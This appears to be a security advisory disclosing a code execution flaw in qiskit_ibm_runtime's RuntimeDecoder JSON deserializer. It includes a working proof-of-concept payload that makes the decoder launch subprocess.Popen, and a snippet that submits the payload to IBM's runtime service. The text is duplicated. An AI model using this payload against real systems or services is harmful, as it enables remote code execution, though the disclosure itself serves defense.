Summary
deserializing json data using qiskit_ibm_runtime.RuntimeDecoder
can be made to execute arbitrary code given a correctly formatted input string
Details
RuntimeDecoder
is supposed to be able to deserialize JSON strings containing various special types encoded via RuntimeEncoder
. However, one can structure a malicious payload to cause the decoder to spawn a subprocess and execute arbitrary code, exploiting this block of code:
|
mod = importlib.import_module(mod_name) |
|
for name, clz in inspect.getmembers(mod, inspect.isclass): |
|
if name == class_name: |
|
return clz(**settings) |
PoC
malicious_data = {
"__type__": "settings",
"__module__": "subprocess",
"__class__": "Popen",
"__value__": {
"args": ["echo", "hi"]
},
}
json_str = json.dumps(malicious_data)
_ = json.loads(json_str, cls=qiskit_ibm_runtime.RuntimeDecoder) # prints "hi" to the terminal
(where obviously "echo hi" can be replaced with something much more malicious)
notably the following also makes it through the runtime API, with malicious_data
serialized client-side via RuntimeEncoder
(and therefore presumably deserialized server-side via RuntimeDecoder
?)
service = qiskit_ibm_runtime(<ibm_cloud_credentials>)
job = service.run("qasm3-runner", malicious_data)
print(job.status()) # prints "JobStatus.QUEUED"
Impact
i don't know if qiskit_ibm_runtime.RuntimeDecoder
is used server-side so this may or may not be a serious vulnerability on your end (however it's definitely a security hole for anyone using the library to deserialize third-party data)
Summary
deserializing json data using
qiskit_ibm_runtime.RuntimeDecoder
can be made to execute arbitrary code given a correctly formatted input stringDetails
RuntimeDecoder
is supposed to be able to deserialize JSON strings containing various special types encoded viaRuntimeEncoder
. However, one can structure a malicious payload to cause the decoder to spawn a subprocess and execute arbitrary code, exploiting this block of code:qiskit-ibm-runtime/qiskit_ibm_runtime/utils/json.py
Lines 156 to 159 in 16e90f4
PoC
(where obviously "echo hi" can be replaced with something much more malicious)
notably the following also makes it through the runtime API, with
malicious_data
serialized client-side viaRuntimeEncoder
(and therefore presumably deserialized server-side viaRuntimeDecoder
?)Impact
i don't know if
qiskit_ibm_runtime.RuntimeDecoder
is used server-side so this may or may not be a serious vulnerability on your end (however it's definitely a security hole for anyone using the library to deserialize third-party data)